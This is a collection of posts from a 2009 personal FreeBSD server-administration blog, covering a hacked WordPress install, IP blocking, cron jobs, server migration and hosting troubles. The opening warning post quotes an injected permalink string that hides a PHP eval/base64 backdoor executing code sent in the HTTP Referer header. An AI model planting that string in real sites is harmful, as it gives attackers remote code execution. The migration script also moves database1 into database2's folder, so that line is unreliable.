FreeBSD Blog

Urgent Security Warning for WordPress

KP — Fri, 04 Sep 2009 09:29:52 PDT

I just found that my two wordpress blogs were hacked, the permanent link structure was changed to:

/%year%/%monthnum%/%day%/%postname%/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/

This caused the individual posts couldn’t be accessed.

I don’t know how this was hacked, and what other damages were caused. For now, a urgent solution would be protecting wp-admin directory.

I have seen some other hacked blogs, I strongly suggest you take actions immediately. The above might not be a good solution, but should be helpful.

Stop the Most Annoying Spammers

KP — Mon, 03 Aug 2009 06:48:30 PDT

Some spammers are very stupid and persistent, they don’t care about the results, and keep spamming for months and even years. They combine manual and automate ways to post spams, the only way to stop them is blocking their IPs.

Here is what I do to stop these stupid spammers, put the following lines into .htaccess file.

order allow,deny

deny from 192.168.100.0/24
deny from 192.168.0.0/16

allow from all

After editing the file several times, such as extending C block to B block, or adding some subnets, the spammers finally disappeared completely.

.htaccess error

KP — Sun, 19 Jul 2009 01:54:55 PDT

My site got ‘internal server configuration’ errors, the Apache error log file for this domain has the following error message:

.htaccess: order takes one argument, ‘allow,deny’, ‘deny,allow’, or ‘mutual-failure’

After checking .htaccess file again and again, it turned out to be the following line:

order allow, deny

I added an extra space before ‘deny’ (coding habits), the problem was fixed after I removed the space. I’m very surprised that Apache can’t tolerate an extra space.

How to Stop a Cron Job or Email Notification

KP — Sun, 29 Mar 2009 17:42:33 PDT

From the log stats, I found many people were wondering how to stop a cron job or its email notification. To stop a cron job, just remove the command by editing the cron job:

# crontab -e

It will open your crob job file with your default editor. If you want to stop emails for all commands, simply remove the first email line. To stop email for certain command, append ‘> null’ to that command.

Scary Moment

KP — Sun, 29 Mar 2009 17:35:51 PDT

When I was starting Apache after installed a new PHP module, I found that httpd.conf is missing, that was scary! I have absolutely no idea how this happened, the only possible reason is that I deleted it by accident.

I always switch to root account after login, it’s convenient, and I’m lazy. But, how could I delete such an important file? Maybe I need to use sudo from now on.

No related posts.

Converted to WordPress

KP — Tue, 17 Mar 2009 17:52:45 PDT

MovableType suddenly stopped working, I couldn’t publish new posts any more. So I took the chance to convert it to WordPress.

Urgent Security Warning for WordPress

Another FreeBSD Blog

KP — Fri, 13 Mar 2009 04:35:18 PDT

Here is another FreeBSD blog: Real FreeBSD Tips, it looks quite professional. Still too few FreeBSd blogs out there, FreeBSD deserves much more attention. I have no idea how many servers are running FreeBSD, but it should be a very small number compared to Linux.

Email ISP

KP — Thu, 12 Mar 2009 04:50:51 PDT

Finally, AOL unblocked my new IP, their Feedback Loop Request Form doesn’t seem to work, I joined two times and was approved too, but nothing happened. The unblock was done after I got a personal reply to my direct email request.

Here are some other email ISPs I have dealt with:

1. Hotmail/MSN/Live: They work the same way in terms of IP controlling. The easiest email service to deal with, they unblocked my IP within 24 hours and replied to my request very politely. Only one drawback: I wasn’t able to find their unblock request form, got it from a forum thread after some searching.

2. Bellsouth.net: also quick to respond and take action.

3. Comcast.net: they don’t care.

Before you move to a new server, you should setup reverse DNS first - usually you have to ask your ISP to do it, my current ISP, softlayer, is good, I can do it by myself in the control panel.

If you find your IP was blocked by some email services, the best way should be simply using a different IP (Usually, dedicated sever comes with a few usable IPs), I don’t know why I don’t want to do that way, maybe I want every IP to be clean.

Official FreeBSD Forum

KP — Mon, 09 Mar 2009 19:59:43 PDT

I just found the official FreeBSD forums, it’s also using my favorite forum software, nice. I prefer web-based forums to milling-lists, newsgroups or IRC rooms, I can never get used to them. Finally, I got a place to hang out.

Move a Server

KP — Sun, 08 Mar 2009 20:07:48 PDT

In the last 6 months, I have rebuilt my server four times due to ISP change or hard disk problems. Minimal down time and data consistency are two most factors when move to a new server. Here’s how I usually move a server:

Step 1. Build the new server
Install and configure all required programs, such as Bind, Apache, PHP, MySQL, Postfix.

I use one user account for each website. adduser command has ‘-f’ option for batch adding users.

Create all databases and user accounts, this can be done with a MySQL script (reusable as well).

There is no harry to do this step as the transfer hasn’t started yet.

Step 2. Backup data on old server
I always directly tar MySQL data directory. I will stop Apache and MySQL for 10 minutes, it is acceptable to me.

Step 3. Copy data to the new server
100MB port is very helpful at this moment :-).

Step 4. Restore the data on the new server
Extract the big file and move the data to corresponding directories. I have created a script before step 2. This step only took a few minutes. The script looks like:

#!/bin/sh
mv /backup/transfer/account1/www/ /home/account1/
mv /backup/transfer/account2/www/ /home/account2/
…
mv /backup/transfer/db/mysql/database1/* /var/db/mysql/database2/
mv /backup/transfer/db/mysql/database2/* /var/db/mysql/database2/
…

This is the best way I can think of to restore the data, all file attributes will be retained, only a couple of commands to do the job.

Step 5. Now the transfer is finished.
Start applications on the new server, it’s now ready to accept connections. Modify domain records if needed.

Some websites may not work immediately, but usually they are simple errors such as PHP.ini configuration or wrong DB password. The is my favorite part, some simple checks here and there to make them work magically.

Step 6. Modify the DNS zone files (www IP) on the old server.
Bind on old server will still get lots of queries for a few hours, but it will redirect the visits to the new server.

Summary
The time that step 2 takes is the down time, less than 20 minutes.

Step 3 and 4 may take from 10 minutes up to an hour, this time may cause inconsistent data, especially when there are active forums.

Every time I move to a new server, I always have to deal with one or two email service providers. So far, I have contacted bellsouth.net, comcast, hotmail, etc. This time, it’s AOL, they haven’t unblocked my new IP after three days. I hate this part, there is nothing I can do except for sending them polite emails.

Moved Out

KP — Wed, 04 Mar 2009 19:52:06 PST

The problem, which should never have happened, happened again just two days later, caused another 4 hours down time. Burst.net must hate me, I can’t understand why they stopped routing my IPs, again!

Followed Dale’s post, I moved to SoftLayer, everything is great so far. After I left LayeredTech, I didn’t have much luck with the hosting. Hopefully I can have a longer uninterrupted service with SoftLayer.

I’ve never given bad reviews before burst.net, so to be fair, I should say something good about them:

1. Price is excellent.
2. Very good connection to Asia.

If the IP routing problems didn’t happen, I probably will stay with them. Faulty hardware and network outage shouldn’t happen often, I can live with the poor support as well. But after the IP routing problems, I realized anything could happen with them, anything!

Monitor MySQL Log File

KP — Mon, 02 Mar 2009 13:58:18 PST

I rarely check MySQL log file, but recently I got some table corruption errors, and it’s hard to notice these errors, especially when these tables are not critical. I realized that it’s necessary to monitor MySQL log file. According to MySQL manual, before version 5.1.20, it’s not possible to log MySQL errors to syslog. I’m still using 5.0, so I added the following line to cron job of my root account:

30 2 * * * tail -n 50 /var/db/mysql/hostname.err

Now I get notification email daily (no email if it’s empty), not a bad solution.

Horrible Support

KP — Sun, 01 Mar 2009 15:57:14 PST

After yesterday’s server problem, I realized how ‘horrible’ a support can be, it’s beyond my imagination.

1. He can’t read. So he has to ask many stupid questions before he can do anything.

2. He is very slow. After waited for one hour, I got a stupid question, then waited for another hour and got another stupid question…and go on…

3. He doesn’t know how to login. Here is what I wrote in my ticket:
[Server login info]
IP: x.x.x.x
Port: xxxx
Login account: xxx
password: xxx
Then use su command, password: xxx

Guess what? In the system log file, I saw the support tried to login with root account again and again, and of course, he never got in.

4. Just tell the customers it’s their problem. He can’t login, what more can I expect?

5. Now I have to convince the support it’s their problem, basically I taught him what to do.

6. The support told me that the networking department has started working on it. I’m not sure how big my ISP is, but I can only wait, because any questions will be replied with “I don’t know either, I’m waiting as well…”.

7. After 22 hours down time, completely ISP’s fault, I couldn’t get an explanation. He uses their secret ‘networking department’ to answer all questions.

And finally, I’m really wondering, why did my ISP touch my IPs? To train new horrible supports? Play with these IPs? This problem should never have happened.

Add GD Support for PHP

Another Network Problem

KP — Sun, 01 Mar 2009 01:05:56 PST

Today I found some sites on my server didn’t respond, but I couldn’t find anything wrong with the server. Apache logs showed that these websites hadn’t got any visits since 16 hours ago.

Contacted the support, after two hours waiting, I was told that it’s not their problems. Although I didn’t know the exact cause, I believe such weird problems should be caused by some errors outside the server. These non-working websites are in the same IP range, I told the support that they must have changed something on their side, which caused those IPs to stop working, after another two hours communications, they finally did something and fixed the problem.

After moved to Burst.net less than two months ago, I have experienced a few serious problems, harddisk error, network problem, and this time 20 hours down time. I think the strange server problem last time was very probably due to a similar error like this time. But I should only blame myself, after read lots of bad reviews on WHT, I still signed up. I thought I usually didn’t need the support, and they have been in hosting business since 1996. Now I have to admit I was so wrong!

Network Outage

KP — Mon, 02 Feb 2009 13:18:26 PST

My ISP had a network outage yesterday, which caused a few hours sluggish time…very hard to connect. I signed up despite of many bad reviews on my ISP on WHT, mainly about the network and support. But if it’s bad, it’s bad, I’m not luckier than anyone else. A long history in the industry doesn’t mean anything!!

A stable server is so important, if it’s running smoothly, all stats are going up; anything happened to the server, it took a few days to recover. Not sure if should I move out now, but I know these kind of problems will happen from time to time.